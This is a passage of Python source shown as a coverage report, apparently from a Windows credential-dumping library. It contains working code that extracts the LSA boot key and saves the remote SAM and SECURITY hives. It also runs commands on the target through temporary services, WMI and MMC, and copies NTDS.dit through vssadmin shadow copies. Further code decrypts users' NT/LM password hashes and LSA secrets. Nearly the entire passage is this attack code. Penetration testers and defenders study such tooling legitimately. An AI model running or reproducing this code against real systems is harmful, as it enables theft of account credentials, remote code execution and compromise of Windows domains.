713 # Now let's open the service 

714 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) 

715 service = resp['lpServiceHandle'] 

716 scmr.hRDeleteService(self.__scmr, service) 

717 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 

718 scmr.hRCloseServiceHandle(self.__scmr, service) 

719 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) 

720 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) 

721 rpc.disconnect() 

722 except Exception as e: 

723 # If service is stopped it'll trigger an exception 

724 # If service does not exist it'll trigger an exception 

725 # So. we just wanna be sure we delete it, no need to 

726 # show this exception message 

727 pass 

728 

729 def finish(self): 

730 self.__restore() 

731 if self.__rrp is not None: 

732 self.__rrp.disconnect() 

733 if self.__drsr is not None: 

734 self.__drsr.disconnect() 

735 if self.__samr is not None: 

736 self.__samr.disconnect() 

737 if self.__scmr is not None: 

738 try: 

739 self.__scmr.disconnect() 

740 except Exception as e: 

741 if str(e).find('STATUS_INVALID_PARAMETER') >=0: 

742 pass 

743 else: 

744 raise 

745 

746 def getBootKey(self): 

747 bootKey = b'' 

748 ans = rrp.hOpenLocalMachine(self.__rrp) 

749 self.__regHandle = ans['phKey'] 

750 for key in ['JD','Skew1','GBG','Data']: 

751 LOG.debug('Retrieving class info for %s'% key) 

752 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) 

753 keyHandle = ans['phkResult'] 

754 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) 

755 bootKey = bootKey + b(ans['lpClassOut'][:-1]) 

756 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

757 

758 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 

759 

760 bootKey = unhexlify(bootKey) 

761 

762 for i in range(len(bootKey)): 

763 self.__bootKey += bootKey[transforms[i]:transforms[i]+1] 

764 

765 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8')) 

766 

767 return self.__bootKey 

768 

769 def checkNoLMHashPolicy(self): 

770 LOG.debug('Checking NoLMHash Policy') 

771 ans = rrp.hOpenLocalMachine(self.__rrp) 

772 self.__regHandle = ans['phKey'] 

773 

774 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') 

775 keyHandle = ans['phkResult'] 

776 try: 

777 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') 

778 except: 

779 noLMHash = 0 

780 

781 if noLMHash != 1: 781 ↛ 782line 781 didn't jump to line 782, because the condition on line 781 was never true

782 LOG.debug('LMHashes are being stored') 

783 return False 

784 

785 LOG.debug('LMHashes are NOT being stored') 

786 return True 

787 

788 def __retrieveHive(self, hiveName): 

789 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' 

790 ans = rrp.hOpenLocalMachine(self.__rrp) 

791 regHandle = ans['phKey'] 

792 try: 

793 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) 

794 except: 

795 raise Exception("Can't open %s hive" % hiveName) 

796 keyHandle = ans['phkResult'] 

797 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) 

798 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

799 rrp.hBaseRegCloseKey(self.__rrp, regHandle) 

800 # Now let's open the remote file, so it can be read later 

801 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) 

802 return remoteFileName 

803 

804 def saveSAM(self): 

805 LOG.debug('Saving remote SAM database') 

806 return self.__retrieveHive('SAM') 

807 

808 def saveSECURITY(self): 

809 LOG.debug('Saving remote SECURITY database') 

810 return self.__retrieveHive('SECURITY') 

811 

812 def __smbExec(self, command): 

813 self.__serviceDeleted = False 

814 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, 

815 lpBinaryPathName=command) 

816 service = resp['lpServiceHandle'] 

817 try: 

818 scmr.hRStartServiceW(self.__scmr, service) 

819 except: 

820 pass 

821 scmr.hRDeleteService(self.__scmr, service) 

822 self.__serviceDeleted = True 

823 scmr.hRCloseServiceHandle(self.__scmr, service) 

824 

825 def __getInterface(self, interface, resp): 

826 # Now let's parse the answer and build an Interface instance 

827 objRefType = OBJREF(b''.join(resp))['flags'] 

828 objRef = None 

829 if objRefType == FLAGS_OBJREF_CUSTOM: 

830 objRef = OBJREF_CUSTOM(b''.join(resp)) 

831 elif objRefType == FLAGS_OBJREF_HANDLER: 

832 objRef = OBJREF_HANDLER(b''.join(resp)) 

833 elif objRefType == FLAGS_OBJREF_STANDARD: 

834 objRef = OBJREF_STANDARD(b''.join(resp)) 

835 elif objRefType == FLAGS_OBJREF_EXTENDED: 

836 objRef = OBJREF_EXTENDED(b''.join(resp)) 

837 else: 

838 logging.error("Unknown OBJREF Type! 0x%x" % objRefType) 

839 

840 return IRemUnknown2( 

841 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], 

842 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], 

843 target=interface.get_target())) 

844 

845 def __mmcExec(self,command): 

846 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe') 

847 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() 

848 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, 

849 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 

850 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) 

851 iMMC = IDispatch(iInterface) 

852 

853 resp = iMMC.GetIDsOfNames(('Document',)) 

854 

855 dispParams = DISPPARAMS(None, False) 

856 dispParams['rgvarg'] = NULL 

857 dispParams['rgdispidNamedArgs'] = NULL 

858 dispParams['cArgs'] = 0 

859 dispParams['cNamedArgs'] = 0 

860 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 

861 

862 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 

863 resp = iDocument.GetIDsOfNames(('ActiveView',)) 

864 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 

865 

866 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 

867 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] 

868 

869 pQuit = iMMC.GetIDsOfNames(('Quit',))[0] 

870 

871 dispParams = DISPPARAMS(None, False) 

872 dispParams['rgdispidNamedArgs'] = NULL 

873 dispParams['cArgs'] = 4 

874 dispParams['cNamedArgs'] = 0 

875 arg0 = VARIANT(None, False) 

876 arg0['clSize'] = 5 

877 arg0['vt'] = VARENUM.VT_BSTR 

878 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR 

879 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe' 

880 

881 arg1 = VARIANT(None, False) 

882 arg1['clSize'] = 5 

883 arg1['vt'] = VARENUM.VT_BSTR 

884 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR 

885 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\' 

886 

887 arg2 = VARIANT(None, False) 

888 arg2['clSize'] = 5 

889 arg2['vt'] = VARENUM.VT_BSTR 

890 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR 

891 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):] 

892 

893 arg3 = VARIANT(None, False) 

894 arg3['clSize'] = 5 

895 arg3['vt'] = VARENUM.VT_BSTR 

896 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR 

897 arg3['_varUnion']['bstrVal']['asData'] = '7' 

898 dispParams['rgvarg'].append(arg3) 

899 dispParams['rgvarg'].append(arg2) 

900 dispParams['rgvarg'].append(arg1) 

901 dispParams['rgvarg'].append(arg0) 

902 

903 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 

904 

905 dispParams = DISPPARAMS(None, False) 

906 dispParams['rgvarg'] = NULL 

907 dispParams['rgdispidNamedArgs'] = NULL 

908 dispParams['cArgs'] = 0 

909 dispParams['cNamedArgs'] = 0 

910 

911 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 

912 

913 

914 def __wmiExec(self, command): 

915 # Convert command to wmi exec friendly format 

916 command = command.replace('%COMSPEC%', 'cmd.exe') 

917 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() 

918 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, 

919 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 

920 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 

921 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 

922 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 

923 iWbemLevel1Login.RemRelease() 

924 

925 win32Process,_ = iWbemServices.GetObject('Win32_Process') 

926 win32Process.Create(command, '\\', None) 

927 

928 dcom.disconnect() 

929 

930 def __executeRemote(self, data): 

931 self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 

932 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ 

933 self.__shell + self.__batchFile 

934 command += ' & ' + 'del ' + self.__batchFile 

935 

936 LOG.debug('ExecuteRemote command: %s' % command) 

937 if self.__execMethod == 'smbexec': 937 ↛ 939line 937 didn't jump to line 939, because the condition on line 937 was never false

938 self.__smbExec(command) 

939 elif self.__execMethod == 'wmiexec': 

940 self.__wmiExec(command) 

941 elif self.__execMethod == 'mmcexec': 

942 self.__mmcExec(command) 

943 else: 

944 raise Exception('Invalid exec method %s, aborting' % self.__execMethod) 

945 

946 

947 def __answer(self, data): 

948 self.__answerTMP += data 

949 

950 def __getLastVSS(self, forDrive=None): 

951 if forDrive: 951 ↛ 954line 951 didn't jump to line 954, because the condition on line 951 was never false

952 command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive 

953 else: 

954 command = '%COMSPEC% /C vssadmin list shadows' 

955 self.__executeRemote(command) 

956 time.sleep(5) 

957 tries = 0 

958 while True: 

959 try: 

960 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 

961 break 

962 except Exception as e: 

963 if tries > 30: 

964 # We give up 

965 raise Exception('Too many tries trying to list vss shadows') 

966 if str(e).find('SHARING') > 0: 

967 # Stuff didn't finish yet.. wait more 

968 time.sleep(5) 

969 tries +=1 

970 pass 

971 else: 

972 raise 

973 

974 lines = self.__answerTMP.split(b'\n') 

975 lastShadow = b'' 

976 lastShadowFor = b'' 

977 lastShadowId = b'' 

978 

979 # Let's find the last one 

980 # The string used to search the shadow for drive. Wondering what happens 

981 # in other languages 

982 SHADOWFOR = b'Volume: (' 

983 IDSTART = b'Shadow Copy ID: {' 

984 IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999') 

985 

986 for line in lines: 

987 if line.find(b'GLOBALROOT') > 0: 

988 lastShadow = line[line.find(b'\\\\?'):][:-1] 

989 elif line.find(SHADOWFOR) > 0: 

990 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] 

991 elif line.find(IDSTART) > 0: 

992 lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1] 

993 

994 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 

995 

996 LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8'))) 

997 

998 return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8') 

999 

1000 def saveNTDS(self): 

1001 LOG.info('Searching for NTDS.dit') 

1002 # First of all, let's try to read the target NTDS.dit registry entry 

1003 ans = rrp.hOpenLocalMachine(self.__rrp) 

1004 regHandle = ans['phKey'] 

1005 try: 

1006 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') 

1007 keyHandle = ans['phkResult'] 

1008 except: 

1009 # Can't open the registry path, assuming no NTDS on the other end 

1010 return None 

1011 

1012 try: 

1013 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') 

1014 ntdsLocation = dataValue[:-1] 

1015 ntdsDrive = ntdsLocation[:2] 

1016 except: 

1017 # Can't open the registry path, assuming no NTDS on the other end 

1018 return None 

1019 

1020 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

1021 rrp.hBaseRegCloseKey(self.__rrp, regHandle) 

1022 

1023 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) 

1024 LOG.info('Using %s method for remote execution' % self.__execMethod) 

1025 # Get the list of remote shadows 

1026 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive) 

1027 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): 1027 ↛ 1029line 1027 didn't jump to line 1029, because the condition on line 1027 was never true

1028 # No shadow, create one 

1029 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) 

1030 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive) 

1031 shouldRemove = True 

1032 if shadow == '' or shadowFor != ntdsDrive: 

1033 raise Exception('Could not get a VSS') 

1034 else: 

1035 # There was already a shadow, let's not delete this 

1036 shouldRemove = False 

1037 

1038 # Now copy the ntds.dit to the temp directory 

1039 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' 

1040 

1041 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) 

1042 

1043 if shouldRemove is True: 1043 ↛ 1044line 1043 didn't jump to line 1044, because the condition on line 1043 was never true

1044 LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId) 

1045 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId) 

1046 

1047 

1048 tries = 0 

1049 while True: 

1050 try: 

1051 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 

1052 break 

1053 except Exception as e: 

1054 if tries >= 30: 

1055 raise e 

1056 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0: 

1057 tries += 1 

1058 time.sleep(5) 

1059 pass 

1060 else: 

1061 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e))) 

1062 pass 

1063 

1064 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) 

1065 

1066 return remoteFileName 

1067 

1068class CryptoCommon: 

1069 # Common crypto stuff used over different classes 

1070 def deriveKey(self, baseKey): 

1071 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key 

1072 # Let I be the little-endian, unsigned integer. 

1073 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. 

1074 # Note that because I is in little-endian byte order, I[0] is the least significant byte. 

1075 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. 

1076 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] 

1077 key = pack('<L',baseKey) 

1078 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]] 

1079 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]] 

1080 if PY2: 1080 ↛ 1081line 1080 didn't jump to line 1081, because the condition on line 1080 was never true

1081 return transformKey(b''.join(key1)),transformKey(b''.join(key2)) 

1082 else: 

1083 return transformKey(bytes(key1)),transformKey(bytes(key2)) 

1084 

1085 @staticmethod 

1086 def decryptAES(key, value, iv=b'\x00'*16): 

1087 plainText = b'' 

1088 if iv != b'\x00'*16: 1088 ↛ 1089line 1088 didn't jump to line 1089, because the condition on line 1088 was never true

1089 aes256 = AES.new(key,AES.MODE_CBC, iv) 

1090 

1091 for index in range(0, len(value), 16): 

1092 if iv == b'\x00'*16: 1092 ↛ 1094line 1092 didn't jump to line 1094, because the condition on line 1092 was never false

1093 aes256 = AES.new(key,AES.MODE_CBC, iv) 

1094 cipherBuffer = value[index:index+16] 

1095 # Pad buffer to 16 bytes 

1096 if len(cipherBuffer) < 16: 1096 ↛ 1097line 1096 didn't jump to line 1097, because the condition on line 1096 was never true

1097 cipherBuffer += b'\x00' * (16-len(cipherBuffer)) 

1098 plainText += aes256.decrypt(cipherBuffer) 

1099 

1100 return plainText 

1101 

1102 

1103class OfflineRegistry: 

1104 def __init__(self, hiveFile = None, isRemote = False): 

1105 self.__hiveFile = hiveFile 

1106 if self.__hiveFile is not None: 1106 ↛ exitline 1106 didn't return from function '__init__', because the condition on line 1106 was never false

1107 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) 

1108 

1109 def enumKey(self, searchKey): 

1110 parentKey = self.__registryHive.findKey(searchKey) 

1111 

1112 if parentKey is None: 1112 ↛ 1113line 1112 didn't jump to line 1113, because the condition on line 1112 was never true

1113 return 

1114 

1115 keys = self.__registryHive.enumKey(parentKey) 

1116 

1117 return keys 

1118 

1119 def enumValues(self, searchKey): 

1120 key = self.__registryHive.findKey(searchKey) 

1121 

1122 if key is None: 1122 ↛ 1123line 1122 didn't jump to line 1123, because the condition on line 1122 was never true

1123 return 

1124 

1125 values = self.__registryHive.enumValues(key) 

1126 

1127 return values 

1128 

1129 def getValue(self, keyValue): 

1130 value = self.__registryHive.getValue(keyValue) 

1131 

1132 if value is None: 1132 ↛ 1133line 1132 didn't jump to line 1133, because the condition on line 1132 was never true

1133 return 

1134 

1135 return value 

1136 

1137 def getClass(self, className): 

1138 value = self.__registryHive.getClass(className) 

1139 

1140 if value is None: 

1141 return 

1142 

1143 return value 

1144 

1145 def finish(self): 

1146 if self.__hiveFile is not None: 1146 ↛ exitline 1146 didn't return from function 'finish', because the condition on line 1146 was never false

1147 # Remove temp file and whatever else is needed 

1148 self.__registryHive.close() 

1149 

1150class SAMHashes(OfflineRegistry): 

1151 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)): 

1152 OfflineRegistry.__init__(self, samFile, isRemote) 

1153 self.__samFile = samFile 

1154 self.__hashedBootKey = b'' 

1155 self.__bootKey = bootKey 

1156 self.__cryptoCommon = CryptoCommon() 

1157 self.__itemsFound = {} 

1158 self.__perSecretCallback = perSecretCallback 

1159 

1160 def MD5(self, data): 

1161 md5 = hashlib.new('md5') 

1162 md5.update(data) 

1163 return md5.digest() 

1164 

1165 def getHBootKey(self): 

1166 LOG.debug('Calculating HashedBootKey from SAM') 

1167 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 

1168 DIGITS = b"0123456789012345678901234567890123456789\0" 

1169 

1170 F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1] 

1171 

1172 domainData = DOMAIN_ACCOUNT_F(F) 

1173 

1174 if domainData['Key0'][0:1] == b'\x01': 1174 ↛ 1187line 1174 didn't jump to line 1187, because the condition on line 1174 was never false

1175 samKeyData = SAM_KEY_DATA(domainData['Key0']) 

1176 

1177 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS) 

1178 rc4 = ARC4.new(rc4Key) 

1179 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum']) 

1180 

1181 # Verify key with checksum 

1182 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) 

1183 

1184 if checkSum != self.__hashedBootKey[16:]: 1184 ↛ 1185line 1184 didn't jump to line 1185, because the condition on line 1184 was never true

1185 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') 

1186 

1187 elif domainData['Key0'][0:1] == b'\x02': 

1188 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also) 

1189 samKeyData = SAM_KEY_DATA_AES(domainData['Key0']) 

1190 

1191 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey, 

1192 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt']) 

1193 

1194 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False): 

1195 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key 

1196 # plus hashedBootKey stuff 

1197 Key1,Key2 = self.__cryptoCommon.deriveKey(rid) 

1198 

1199 Crypt1 = DES.new(Key1, DES.MODE_ECB) 

1200 Crypt2 = DES.new(Key2, DES.MODE_ECB) 

1201 

1202 if newStyle is False: 1202 ↛ 1207line 1202 didn't jump to line 1207, because the condition on line 1202 was never false

1203 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant ) 

1204 rc4 = ARC4.new(rc4Key) 

1205 key = rc4.encrypt(cryptedHash['Hash']) 

1206 else: 

1207 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16] 

1208 

1209 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:]) 

1210 

1211 return decryptedHash 

1212 

1213 def dump(self): 

1214 NTPASSWORD = b"NTPASSWORD\0" 

1215 LMPASSWORD = b"LMPASSWORD\0" 

1216 

1217 if self.__samFile is None: 1217 ↛ 1219line 1217 didn't jump to line 1219, because the condition on line 1217 was never true

1218 # No SAM file provided 

1219 return 

1220 

1221 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)') 

1222 self.getHBootKey() 

1223 

1224 usersKey = 'SAM\\Domains\\Account\\Users' 

1225 

1226 # Enumerate all the RIDs 

1227 rids = self.enumKey(usersKey) 

1228 # Remove the Names item 

1229 try: 

1230 rids.remove('Names') 

1231 except: 

1232 pass 

1233 

1234 for rid in rids: 

1235 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1]) 

1236 rid = int(rid,16) 

1237 

1238 V = userAccount['Data'] 

1239 

1240 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le') 

1241 

1242 if userAccount['NTHashLength'] == 0: 1242 ↛ 1243line 1242 didn't jump to line 1243, because the condition on line 1242 was never true

1243 logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName) 

1244 continue 

1245 

1246 encNTHash = b'' 

1247 if V[userAccount['NTHashOffset']:][2:3] == b'\x01': 1247 ↛ 1256line 1247 didn't jump to line 1256, because the condition on line 1247 was never false

1248 # Old Style hashes 

1249 newStyle = False 

1250 if userAccount['LMHashLength'] == 20: 1250 ↛ 1251line 1250 didn't jump to line 1251, because the condition on line 1250 was never true

1251 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']]) 

1252 if userAccount['NTHashLength'] == 20: 

1253 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']]) 

1254 else: 

1255 # New Style hashes 

1256 newStyle = True 

1257 if userAccount['LMHashLength'] == 24: 

1258 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']]) 

1259 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']]) 

1260 

1261 LOG.debug('NewStyle hashes is: %s' % newStyle) 

1262 if userAccount['LMHashLength'] >= 20: 1262 ↛ 1263line 1262 didn't jump to line 1263, because the condition on line 1262 was never true

1263 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle) 

1264 else: 

1265 lmHash = b'' 

1266 

1267 if encNTHash != b'': 

1268 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle) 

1269 else: 

1270 ntHash = b'' 

1271 

1272 if lmHash == b'': 1272 ↛ 1274line 1272 didn't jump to line 1274, because the condition on line 1272 was never false

1273 lmHash = ntlm.LMOWFv1('','') 

1274 if ntHash == b'': 

1275 ntHash = ntlm.NTOWFv1('','') 

1276 

1277 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8')) 

1278 self.__itemsFound[rid] = answer 

1279 self.__perSecretCallback(answer) 

1280 

1281 def export(self, baseFileName, openFileFunc = None): 

1282 if len(self.__itemsFound) > 0: 

1283 items = sorted(self.__itemsFound) 

1284 fileName = baseFileName+'.sam' 

1285 fd = openFile(fileName, openFileFunc=openFileFunc) 

1286 for item in items: 

1287 fd.write(self.__itemsFound[item]+'\n') 

1288 fd.close() 

1289 return fileName 

1290 

1291class LSASecrets(OfflineRegistry): 

1292 UNKNOWN_USER = '(Unknown User)' 

1293 class SECRET_TYPE: 

1294 LSA = 0 

1295 LSA_HASHED = 1 

1296 LSA_RAW = 2 

1297 LSA_KERBEROS = 3 

1298 

1299 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False, 

1300 perSecretCallback=lambda secretType, secret: _print_helper(secret)): 

1301 OfflineRegistry.__init__(self, securityFile, isRemote) 

1302 self.__hashedBootKey = b'' 

1303 self.__bootKey = bootKey 

1304 self.__LSAKey = b'' 

1305 self.__NKLMKey = b'' 

1306 self.__vistaStyle = True 

1307 self.__cryptoCommon = CryptoCommon() 

1308 self.__securityFile = securityFile 

1309 self.__remoteOps = remoteOps 

1310 self.__cachedItems = [] 

1311 self.__secretItems = [] 

1312 self.__perSecretCallback = perSecretCallback 

1313 self.__history = history 

1314 

1315 def MD5(self, data): 

1316 md5 = hashlib.new('md5') 

1317 md5.update(data) 

1318 return md5.digest() 

1319 

1320 def __sha256(self, key, value, rounds=1000): 

1321 sha = hashlib.sha256() 

1322 sha.update(key) 

1323 for i in range(1000): 

1324 sha.update(value) 

1325 return sha.digest() 

1326 

1327 def __decryptSecret(self, key, value): 

1328 # [MS-LSAD] Section 5.1.2 

1329 plainText = b'' 

1330 

1331 encryptedSecretSize = unpack('<I', value[:4])[0] 

1332 value = value[len(value)-encryptedSecretSize:] 

1333 

1334 key0 = key 

1335 for i in range(0, len(value), 8): 

1336 cipherText = value[:8] 

1337 tmpStrKey = key0[:7] 

1338 tmpKey = transformKey(tmpStrKey) 

1339 Crypt1 = DES.new(tmpKey, DES.MODE_ECB) 

1340 plainText += Crypt1.decrypt(cipherText) 

1341 key0 = key0[7:] 

1342 value = value[8:] 

1343 # AdvanceKey 

1344 if len(key0) < 7: 

1345 key0 = key[len(key0):] 

1346 

1347 secret = LSA_SECRET_XP(plainText) 

1348 return secret['Secret'] 

1349 

1350 def __decryptHash(self, key, value, iv): 

1351 hmac_md5 = HMAC.new(key,iv,MD5) 

1352 rc4key = hmac_md5.digest() 

1353 

1354 rc4 = ARC4.new(rc4key) 

1355 data = rc4.encrypt(value) 

1356 return data 

1357 

1358 def __decryptLSA(self, value): 

1359 if self.__vistaStyle is True: 1359 ↛ 1368line 1359 didn't jump to line 1368, because the condition on line 1359 was never false

1360 # ToDo: There could be more than one LSA Keys 

1361 record = LSA_SECRET(value) 

1362 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) 

1363 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 

1364 record = LSA_SECRET_BLOB(plainText) 

1365 self.__LSAKey = record['Secret'][52:][:32] 

1366 

1367 else: 

1368 md5 = hashlib.new('md5') 

1369 md5.update(self.__bootKey) 

1370 for i in range(1000): 

1371 md5.update(value[60:76]) 

1372 tmpKey = md5.digest() 

1373 rc4 = ARC4.new(tmpKey) 

1374 plainText = rc4.decrypt(value[12:60]) 

1375 self.__LSAKey = plainText[0x10:0x20] 

1376 

1377 def __getLSASecretKey(self): 

1378 LOG.debug('Decrypting LSA Key') 

1379 # Let's try the key post XP 

1380 value = self.getValue('\\Policy\\PolEKList\\default') 

1381 if value is None: 1381 ↛ 1382line 1381 didn't jump to line 1382, because the condition on line 1381 was never true

1382 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey') 

1383 # Second chance 

1384 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') 

1385 self.__vistaStyle = False 

1386 if value is None: 

1387 # No way :( 

1388 return None 

1389 

1390 self.__decryptLSA(value[1]) 

1391 

1392 def __getNLKMSecret(self): 

1393 LOG.debug('Decrypting NL$KM') 

1394 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') 

1395 if value is None: 1395 ↛ 1396line 1395 didn't jump to line 1396, because the condition on line 1395 was never true

1396 raise Exception("Couldn't get NL$KM value") 

1397 if self.__vistaStyle is True: 1397 ↛ 1402line 1397 didn't jump to line 1402, because the condition on line 1397 was never false

1398 record = LSA_SECRET(value[1]) 

1399 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 

